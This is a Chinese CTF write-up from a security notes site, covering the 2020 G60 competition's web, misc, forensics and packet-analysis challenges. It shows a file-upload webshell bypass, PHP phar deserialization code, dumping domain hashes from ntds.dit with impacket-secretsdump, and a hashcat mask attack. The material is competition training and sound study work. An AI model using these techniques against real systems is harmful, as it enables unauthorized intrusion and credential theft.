网安
  • Develop
    • JAVA学习
      • 字节码
      • API开发
      • Web开发
      • 工程结构推荐
      • 创建第一个项目
      • 权限管控
      • 配置文件
      • 日志管理
      • 数据访问
      • 性能监控
      • IoC容器
      • Spring
      • Filter与Listener
      • jsp
      • MVC
      • servlet-1
      • servlet-2
      • servlet-3
      • servlet-4
      • FreeMarker
      • Thymeleaf
      • EL
      • SpEL
      • JSTL
      • 部署
      • JDBC
      • 数据库连接池
      • fastjson
      • jackson
      • XML
      • JSON
      • 序列化
      • Maven
      • 安装与使用
      • 工具
      • 爬虫
    • GO学习
      • GO
        • flag 包
        • goland 远程调试
        • GoReleaser
        • OS 包
        • time 包
        • 格式化输出
    • Lua学习
      • Lua
      • 基础语法
      • LuaJIT
      • 与系统交互
    • Pyhon
      • 基础
      • Django
      • CLI
      • miniforge
      • MockingBird
      • pdb
      • pyc
      • 装的我脑血栓要犯了
      • Python101
      • 反序列化
      • 爬虫
      • Pillow
      • 图像识别
      • flask
    • Speed-Ruby
      • 入门1
      • 入门2 对象
      • 入门3 创建命令
      • Encoding类
      • File类与Dir类
      • IO
      • Proc类
      • Time类与Date类
      • 正则
      • 错误处理与异常
      • 对象、变量和常量
      • 方法
      • 数值
      • 数组
      • 条件判断
      • 循环
      • 运算符
      • Socket编程
      • 字符串
      • 并发与线程
      • 块
      • 类和模块
      • 散列
    • Web
      • HTTP
        • Connection
        • HTTP 报文
        • Vary
      • 笔记
        • 跳转
        • 认证 & 授权
        • 同源策略(SOP)
        • 文件
    • Git 学习笔记
    • JSON
      • JSON 学习笔记
    • HTML
      • Speed-HTML
      • 语法学习
      • HTML字符实体
    • XML
      • XML 学习笔记
    • 计算机基础
      • 操作系统
      • 计算机组成
      • 算法
      • 内存
      • 字符编码
    • gnuplot 学习笔记
    • regex
  • Integrated
    • Linux
      • God-Linux
      • Secure-Linux
      • Power-Linux
      • IO模型
      • Speed-Linux
      • 发行版
      • 工具
      • 启动过程
      • 进程
      • 认证
      • 日志
      • 守护进程
      • 文件
      • 信息
      • VSFTP 配置案例
      • auditd
      • containerd
      • DNS 配置案例
      • Docker
      • Docker-Compose
      • firewalld 实验
      • gpg
      • Iptables
      • httpd
      • LAMP
      • mysql
      • nfs 配置案例
      • openssl
      • PAM
      • samba 配置案例
      • terraform
      • ufw
      • VSFTP 配置案例
    • Network
      • Speed-Net
      • Power-Net
      • SDN 笔记
      • DNS
      • TLS
    • Windows
      • Secure-Win
      • Speed-Win
      • ACL
      • LDAP
      • IPC$(Internet Process Connection)
      • PDB符号文件
      • 工作组
      • WinRM
      • 角色权限
      • 凭据
      • 签名
      • 日志
      • 认证
      • 协议
      • 信息
      • 应用
      • 组策略
      • 域
      • asp站点搭建
      • Exchange 搭建
      • Windows 故障转移集群
      • Windows 基础服务搭建
      • Windows 域搭建
      • 本地抓包
      • PowerShell 笔记
    • 容器
      • Docker
    • 数据库
      • Speed-SQL
      • Power-SQL
      • MSSQL
      • MySQL
      • Postgresql
      • Redis
      • MySQL大小写问题
      • 主键和外键
      • MySQL快速入门
      • 虚拟化
        • ESXi
        • vCenter
  • Plan
    • Mac-Plan
    • Misc-Plan
    • Team-Plan
    • Thinking-Plan
    • VM-Plan
  • Sercurity
    • Power-PenTest
    • BlueTeam
      • 安全建设
      • 分析
      • 加固
      • 取证
      • 应急
      • USB取证
      • 磁盘取证
      • 内存取证
      • ClamAV 部署
      • yara 实验
      • 安防设施搭建使用
      • ZIP明文攻击
      • 流量分析
    • Crypto
      • Crypto
        • 2020 9 G60攻防大赛
        • CTF
        • 2020 9 中能融合杯工控CTF
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • CTF
      • CTF
      • writeup
        • 2020 9 中能融合杯工控CTF
        • 2020 9 G60攻防大赛
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • ICS
      • PLC攻击
      • S7comm 相关
      • 工控协议
      • 上位机安全
      • Modbus 仿真环境搭建
      • siemens 仿真搭建实验
      • S7-300 启停实验
    • IOT
      • 无线电安全
        • RFID复制卡
        • RFID基础知识
        • WiFikiller
      • 硬件安全
        • DIY键盘嵌入指纹识别模块实验记录
        • Device-Exploits
        • HID-Digispark
        • HID-KeyboardLogger
        • HID-USBHarpoon
        • HID-USBKeyLogger
      • 固件安全
        • 固件安全
        • Dlink_DWR-932B 路由器固件分析
    • Mobile sec
      • 小程序安全
      • Android安全
    • PWN
      • SLMail溢出案例
      • PWN
    • Red Team
      • OS安全
        • Linux 安全
        • Exploits
        • NTLM中继
        • Windows 安全
        • Responder欺骗
        • Windows-LOL
      • Web_Generic
        • Top 10
          • RCE
          • Fileread
          • SQLi
          • SSRF
          • SSTI
          • Web Generic
          • XSS
          • XXE
      • Web_Tricks
        • JWT 安全
        • HTTP_request_smuggling
        • OOB
        • 绕过访问
      • 靶场
        • Hello-Java-Sec 学习
        • DVWA-WalkThrough
        • pikachu-WalkThrough
        • upload-labs-WalkThrough
        • XVWA-WalkThrough
        • XSS挑战-WalkThrough
      • 实验
        • flask
        • fastjson
        • Log4j
        • nodejs
        • Shiro
        • Spring
        • Weblogic
      • 前端攻防
      • IDOR
    • 安防设备
      • Exploits
      • Bypass 技巧
    • 后渗透
      • 权限提升
      • 后渗透
      • 权限维持
      • 实验
        • C2 实验
        • Exchange
        • 端口转发实验
        • 代理实验
        • 免杀实验
        • 隧道实验
    • 软件服务安全
      • Exploits
      • CS Exploits
      • 实验
        • Docker
        • Kubernetes
        • Mysql
        • Oracle
        • PostgreSQL
        • Redis
        • vCenter
    • 协议安全
      • Exploits
    • 信息收集
      • 端口安全
      • 空间测绘
      • 信息收集
    • 语言安全
      • 语言安全
        • 语言安全
      • GO安全
        • GO安全
        • Go代码审计
      • JAVA安全
        • JAVA安全
        • JAVA代码审计
        • JAVA反序列化
        • SpEL 注入
      • PHP安全
        • PHP安全
        • bypass_disable_function
        • bypass_open_basedir
        • phpinfo
        • PHP代码审计
        • PHP反序列化
        • PHP回调函数
        • 变量覆盖
        • POP
        • 弱类型
        • 伪协议
        • 无字母数字Webshell
      • Python安全
        • pyc反编译
        • Python安全
        • Python 代码审计
        • 沙箱逃逸
      • dotnet安全
      • JS安全
    • 云安全
      • 公有云安全
    • Reverse
      • Reverse
      • FILE
        • ELF
        • BMP
        • JPG
        • PE
        • PNG
        • ZIP
        • 文件头
      • 实验
        • PYAble
          • 2-逆运算
          • 1-基本分析
          • 3-异或
          • 4-Base64
          • 5-Base64换表
          • 6-动态调试
        • Windows
          • condrv.sys 内存损坏漏洞
    • 工具
      • Aircrack
      • BloodHound
      • Burp Suite
      • frp
      • CobaltStrike
      • Ghidra
      • fscan
      • Hashcat
      • IDA
      • merlin
      • Kali
      • Metasploit
      • Mimikatz
      • ModSecurity
      • Nmap
      • nps
      • nuclei
      • pupy
      • RedGuard
      • SET
      • sliver
      • Snort
      • Sqlmap
      • Suricata
      • Sysmon
      • uncover
      • Volatility
      • Wfuzz
      • Wireshark
      • xray
    • 安全资源
      • 靶机
        • VulnHub
          • DC
            • DC2 WalkThrough
            • DC1 WalkThrough
            • DC3 WalkThrough
            • DC4 WalkThrough
            • DC5 WalkThrough
            • DC6 WalkThrough
            • DC9 WalkThrough
            • DC8 WalkThrough
          • It's_October
            • It’s_October1 WalkThrough
          • Kioptrix
            • Kioptrix2 WalkThrough
            • Kioptrix3 WalkThrough
            • Kioptrix4 WalkThrough
            • Kioptrix5 WalkThrough
          • Mission-Pumpkin
            • PumpkinGarden-WalkThrough
            • PumpkinFestival WalkThrough
            • PumpkinRaising WalkThrough
          • Symfonos
            • symfonos1 WalkThrough
            • symfonos2 WalkThrough
            • symfonos3 WalkThrough
            • symfonos5 WalkThrough
        • Wargames
          • Bandit
            • Bandit-WalkThrough
      • 面试问题
        • 面试问题
Powered by GitBook
On this page
  • web
  • 找色差吗?
  • easy upload
  • Misc
  • 巨人的秘密
  • 阿巴阿巴
  • NTDS
  • 创新组
  • blueshark
  1. Sercurity
  2. CTF
  3. writeup

2020 9 G60攻防大赛

web

找色差吗?

查看js代码

F12,控制台输入语句

var _0x268d05 = { 'vFYyb': _0x2f2b('0x1983', 'vXeU'), 'rshMS': function _0x593385(_0x36599a, _0x5f41b7) { return _0x36599a / _0x5f41b7; }, 'xWQRG': function _0x337c99(_0x53c811, _0xe4afa4) { return _0x53c811 - _0xe4afa4; }, 'ZuQxI': function _0x242b7d(_0x4e358a, _0xbefac3) { return _0x4e358a * _0xbefac3; }, 'DCMCO': function _0x1e5dd4(_0x577f5a, _0x2dafd8) { return _0x577f5a > _0x2dafd8; }, 'bPzve': function _0x49960b(_0x43d8c9, _0x3dd75e) { return _0x43d8c9 === _0x3dd75e; }, 'GFiYI': function _0x1a3caa(_0x167948, _0x13fa0c, _0x580fa8) { return _0x167948(_0x13fa0c, _0x580fa8); }, 'rQJbg': _0x2f2b('0x1984', 'F8QA'), 'fwSPi': function _0xbc327(_0x3da5ce, _0x3e3e3c) { return _0x3da5ce(_0x3e3e3c); }, 'GkSez': '4|3|1|0|2', 'UVjif': _0x2f2b('0x1985', ']Z3^'), 'TQMlf': function _0x3c2939(_0x30791e, _0x108e7b) { return _0x30791e > _0x108e7b; } };

var _0x60a0ea = _0x268d05[_0x2f2b('0x1999', '6T2X')];

console['log'](strEnc('find_different_blocks', _0x60a0ea, '8c4f1', 'faf82'));

输出的字符串 md5

21E7AE40B06B28439D031D6848F6E5736B28CA5D50DB89BC34468C8195AC002AB593117A1BDAEA972B8C223883FA6443

得到flag

84673edf8a1ab819dadfdb5da4f41cfe


easy upload

上传时进行 FUZZ,发现可以上传pht后缀的文件,上传一个一句话,蚁剑连接,查看flag

赛后看了下官方writeup,好像是非预期解

官方解法是

  • 发现存在 index.php~文件,下载得到部分源码

  • 经过一番上传测试之后发现文件名中只要含有 php 及其他 php 文件后缀就无法上传

  • 但是发现只要不是 php 即可上传,同时由部分源码得知存在 ORZ 类,该类的析构函数会输出 flag

  • 同时由源码得,虽然存在 ORZ 类,但是没有反序列化操作,而是将传入 filename 参数会被带入 file_get_contents 中执行。这里可以想到利用 phar://协议和文件上传来进行反序列化。

  • 通过如下 php 代码生成 phar 格式文件(注意:要将 php.ini 中的 phar.readonly 选项设置为 Off, 否则无法生成 phar 文件),然后上传至服务器

    <?php
        class ORZ{
            public function __destruct(){
            }
        }
    
        #unlink("phar.phar");
        $phar=new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php _HALF_COMPILER(); ?>");
        $o = new ORZ();
        $phar->setMetadata($o);
        $phar->addFromString("test.txt","test");
        $phar->stopBuffering();
  • 通过上传构造好的 phar 文件,然后通过 file_get_contents 函数触发其中的反序列化

    • 根据返回得知上传后的文件地址

    • 之后通过 get 传递参数 filename=phar://ec5decca5ed3d6b8079e2e7e7bacc9f2/phar.phar/test.txt 即可获得 flag


Misc

巨人的秘密

binwalk 跑一下发现有 zip 在里面,直接用 winrar 修复出来,然后改一下后缀名为 zip

通过 010 editor 将图片从图片源文件另存出来并压缩成 zip,确保 CRC 一致

然后进行明文攻击

结合 010 里看到的 DeEgger 可知是 DeEgger Embedder 隐写

解密

根据主办方给出的工具 PixelJihad,用密码 Wings_of_freedom 成功解出

阿巴阿巴

这题是赛后参考官方的 writeup 做出来的, 有点绕, 涉及到内存取证 + 磁盘取证 + 字符隐写 + 系统取证,最后的一张张图片尝试解密磁盘和蝌蚪文解2次真的就纯粹恶心选手,不说了,出题人司马.

解压附件,得到一个磁盘和一个内存文件,先将磁盘静态分析(动态分析有可能破坏磁盘原有的附件内容)

DG 打开 vhd ,发现磁盘内容为空

利用 DG 自带的恢复文件功能进行文件恢复.(注:该功能需要 DG 高级版)

可以看到一个 TC 文件,这个缩写可能是 TrueCrypt 的加密磁盘,这里用 VeraCrypt 尝试解密

尝试挂载,需要密码

VHD 磁盘是使用 NTFS 格式的,NTFS 在 Windows vista 后默认会开启磁盘日志,下面动态分析 VHD 文件,win+x,选择 磁盘管理,操作 -- 附加 VHD

这个时候我们使用磁盘取证工具,winhex 查看一下磁盘日志。进入 winhex 按 F9,打开

查看磁盘内容

NTFS 磁盘日志保存在 $UsnJrnl 下,分为 $J 和 $Max,$J 记录了文件系统的操作记录,$Max 记录文件大小改动。我们这里先查看下 $JWinhex 导出 $J 文件(路径:$Extend/$UsnJrnl/$J)右键选择,选择恢复,指定恢复路径到桌面

查看导出的 csv 文件

这里了可以看到多个 txt 的操作记录,由于无法进行还原,尝试用文件名 N2FyHnb@BXR2EQD0@39C 去解密 TC 磁盘,挂载成功,并发现一个加密的 key.7z 压缩包

接下来就是到内存中找压缩包的密码,这里其实有个巧方法就是直接搜索 key.7z

strings 1z_mem.vmem | grep "key.7z"

密码 SSj7MYUMrtPEdOJ!

当然你用 Volatility 最后也会去搜 key.7z , 因为 win10 的内存压缩特性,所以内存取证是没有办法提取 win10 系统内除文本文件以外的大部分文件的。又因为 Cmdscan 等插件对 win10 内存无法使用,所以无法从命令行中得到密码

解压 key.7z,得到一个表情包文件夹

通过检测可知都没有隐写数据。联想到文件夹,猜测可能文件本身是密钥。

VeraCrypt 有一个功能是可以在正常的加密磁盘中生成隐藏磁盘,使用不同的密钥可以解开不同的磁盘。故此我们尝试使用 VeraCrypt 文件密钥,需要先把 One is a key 文件夹从磁盘中复制到桌面,然后逐个尝试。

这里尝试到 931377d26d30102077f706f00f26c146.jpg 时挂载成功,由于每次解密失败都会无响应,所以比较考验选手耐心

但是打开磁盘发现什么内容都没有,使用 winhex 查看下。同样是按 F9 调出磁盘。

将 阿巴阿巴.txt 导出

用蝌蚪文解密工具进行解密2次 http://www.megaemoji.com/cn/generators/tadpole/


NTDS

题目给的压缩包里有4个附件

解压, flag.zip 是加密的,info 给的提示如下

winRAR 查看 flag.zip 注释说是某个用户的 ntml hash

看来需要通过 S 和 n 文件解压 flag.zip

kali 下 file 分析2个文件

n 分析出是 Extensible storage engine DataBase,结合题目名称和压缩包注释,基本上断定是 ntds.dit 文件,而 ntds.dit 解密需要结合 SYSTEM 文件,所以 S 文件也确定了

使用 Impacket 的 secretsdump 模块进行解密

impacket-secretsdump -system S -ntds n LOCAL

可以看到报错了, 结合 info 和 Impacket 报错提示, 这里要修复 S 文件, 将 uegf 改为 regf

010 编辑器打开 S 文件,进行修改

然后继续解密

impacket-secretsdump -system S1 -ntds n LOCAL

这里需要使用 flag 用户的ntml hash 进行解密

解密后查看 hint.txt

通过上面的规则,参考 hash 掩码规则,进行爆破

hashcat -m 1000 hash.txt -a 3 ?u?l?d?l?l?l?l?lre

得到 flag{8752f02b97c0d66dbacedd4185297724}


创新组

blueshark

binwalk 发现了一个 7z 的压缩包,直接当成压缩包打开,发现有个 password_is_Bluetooth_PIN.txt文件

Ctrl + F,选择 分组详情 或者 分组列表,字符串 或者 正则表达式,搜 pin。

PIN 就是 141854。

用来解压就可以得到 flag。

6da01c0a419b0b56ca8307fc9ab623eb

Previous2020 9 中能融合杯工控CTFNext2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛

使用工具 进行内容的读取

UsnJrnl2Csv